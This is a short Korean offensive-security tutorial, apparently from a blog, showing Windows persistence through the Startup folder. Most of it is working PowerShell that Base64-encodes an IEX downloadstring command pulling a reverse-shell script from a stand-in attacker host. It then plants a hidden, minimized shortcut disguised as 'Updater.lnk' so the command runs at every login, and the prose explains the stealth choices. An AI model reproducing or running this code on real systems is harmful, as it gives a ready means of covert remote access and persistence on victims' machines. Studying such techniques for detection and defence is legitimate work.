사용자의 시작 프로그램 폴더에 있는 파일들은 사용자가 로그인 시마다 자동으로 실행됩니다.
해당 코드를 실행하는 바로가기 파일(lnk)을 생성하여 시작 프로그램 폴더에 삽입합니다.
# 공격자 서버로 연결을 시도하는 스크립트 URL 입력 및 인코딩
$str = 'IEX ((new-object net.webclient).downloadstring("http://example.com/Reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
<-- Base64 Encoded Command -->
# 파워쉘을 통해 현재 사용자의 시작 프로그램 폴더에 lnk 파일 생성
$WshShell = New-Object -ComObject WScript.Shell
$StartupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk"
$Shortcut = $WshShell.CreateShortcut($StartupPath)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.Arguments = "-nop -w hidden -enc <Base64 Encoded Command>"
$Shortcut.WorkingDirectory = "C:\Windows\System32"
$Shortcut.WindowStyle = 7
$Shortcut.Save()
여기서 작업 폴더를 C:\Windows\System32로 하는 이유는 신뢰받는 디렉토리에서 작업하기 위함입니다.
WindowStyle은 3가지 유형으로 설정할 수 있습니다.
즉 해당 코드는 Windows에서 신뢰받는 폴더에서 작업을 시작하며, 최소화를 통해 조용히 실행하도록 합니다.